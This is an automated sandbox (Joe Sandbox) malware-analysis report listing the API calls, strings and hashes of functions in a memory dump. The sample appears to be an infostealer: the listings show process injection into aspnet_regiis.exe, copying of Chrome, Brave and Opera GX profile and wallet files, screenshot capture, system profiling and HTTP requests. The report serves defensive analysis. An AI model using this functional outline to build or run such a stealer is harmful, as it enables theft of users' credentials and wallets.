Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8261b1413bc3cc4e1081ef522fb3a36784379b70ccc82e73ae8bdeed84e113b8
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: 7352F475910312AFEF1ADFA0FD188243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s, xrefs: 00414E10
%s\%s, xrefs: 00414DBC
%s\*.*, xrefs: 00414D10
%s\%s\%s, xrefs: 00414DF9

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0bc5adfbe4236ef78a4ad54126e2e77cc3e862c7c695f1d91d4ab824e5d186cb
Instruction ID: 9fc36efd77a6d1cd63b80ec75f09b897df8326cc2b47f4e5761c6ba69d6b93d4
Opcode Fuzzy Hash: 0bc5adfbe4236ef78a4ad54126e2e77cc3e862c7c695f1d91d4ab824e5d186cb
Instruction Fuzzy Hash: 5BC12AB2E0021AABCF21EF61DC45AEE777DAF08305F0144A6F609B3151D7399B858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Preferences, xrefs: 0040A023
Google Chrome, xrefs: 0040A4B9
Brave, xrefs: 0040A00D
Opera GX, xrefs: 00409E8B
\BraveWallet\Preferences, xrefs: 0040A105

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: 43b74e41b735a2950eaa9b795aa936c0c6a742f674b596ee9e9d83e77bc5aa89
Instruction ID: a20a882fd3e2cf19c19de5c34085d4fd9f009afcaba82f6ce1c70ae1e393a276
Opcode Fuzzy Hash: 43b74e41b735a2950eaa9b795aa936c0c6a742f674b596ee9e9d83e77bc5aa89
Instruction Fuzzy Hash: 7D422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C7935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C81F688,00001000), ref: 6C7935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C7935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C79363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C79369F
__aulldiv.LIBCMT ref: 6C7936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C793773
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C79377E
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C7937C4
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7937CB
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C793801
__aulldiv.LIBCMT ref: 6C793883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C793902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C793918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C79394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C7935DB
QPC, xrefs: 6C7938FC
GenuntelineI, xrefs: 6C793639
GTC, xrefs: 6C793912
AuthcAMDenti, xrefs: 6C793946

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3718349b7b3f64c61884d854b7295040ca450c5e53c8707a184d5e142b5ecc67
Instruction ID: 63d75acd828adcbeee5f5af6e395b1126435f581fbae4426b401f594f957fecf
Opcode Fuzzy Hash: 3718349b7b3f64c61884d854b7295040ca450c5e53c8707a184d5e142b5ecc67
Instruction Fuzzy Hash: 8CB1A4B1B083129FDB18DF28D95661ABBF5AB9A708F05893DE499D3B50D7709C00CBD1

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 0041608B
%s\*, xrefs: 0041600C
%s\%s, xrefs: 004160D3

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: b86d1d5988e8a5b633457fbb9a5ee7423a29332bb6b218ad99de9aa99dd34375
Instruction ID: e3980370ac94f341e4db787ecefa849356652b5b9a50b55dc8137c0c02bcad1e
Opcode Fuzzy Hash: b86d1d5988e8a5b633457fbb9a5ee7423a29332bb6b218ad99de9aa99dd34375
Instruction Fuzzy Hash: FC81277190022DABCF60EF61CC45ACD77B9FB08305F0194EAE549A3150EE39AA898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF60,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

%d/%d/%d %d:%d:%d, xrefs: 00411943
ROOT\CIMV2, xrefs: 00411862
Unknown, xrefs: 00411971
Unknown, xrefs: 0041196A
InstallDate, xrefs: 004118ED
Select * From Win32_OperatingSystem, xrefs: 00411895
WQL, xrefs: 0041189A
Unknown, xrefs: 00411985

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: fe6b9a04deeaae94ce61e149b8f4aed9b6b3574a86b373e3e1773863a37c8a56
Instruction ID: 9b83a2dca4a1b3c6c0afd6b9e082c19a49acb0dc1fc89349d09b2b61b6485616
Opcode Fuzzy Hash: fe6b9a04deeaae94ce61e149b8f4aed9b6b3574a86b373e3e1773863a37c8a56
Instruction Fuzzy Hash: F7418D71940209BBCB20CBD5DC89EEFBBBDEFC9B11F20411AF611A6190D7799941CB28

Function 0041C472 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

/, xrefs: 0041C525
UT, xrefs: 0041C79D

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 94b155d6eae385495534a97f883fd4c918c0e8828a42b8e7b6cfe56aff5eeafa
Instruction ID: 63eef66cd8fe0e336db70064ed11a5ad7b696d25642cb4984019eb1642be8bef
Opcode Fuzzy Hash: 94b155d6eae385495534a97f883fd4c918c0e8828a42b8e7b6cfe56aff5eeafa
Instruction Fuzzy Hash: 8E027DB19442698BDF21DF64CC807EEBBB5AF45304F0440EAD948AB242D7389EC5CF99

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Strings

GET, xrefs: 00406A42
ERROR, xrefs: 00406BAB
ERROR, xrefs: 00406AB6

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 79b04129377c5d4d45bac19231039a55e3dc9a9d221fd602966d56bbc965de8a
Instruction ID: 58d07afc169a1ce0b47171bb7ce7cc0903f1f08f96176c9b1f2a19a3da15bd67
Opcode Fuzzy Hash: 79b04129377c5d4d45bac19231039a55e3dc9a9d221fd602966d56bbc965de8a
Instruction Fuzzy Hash: 9D51AEB1A00269AFDF20EB60DC84AEEB7B9FB04304F0181B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

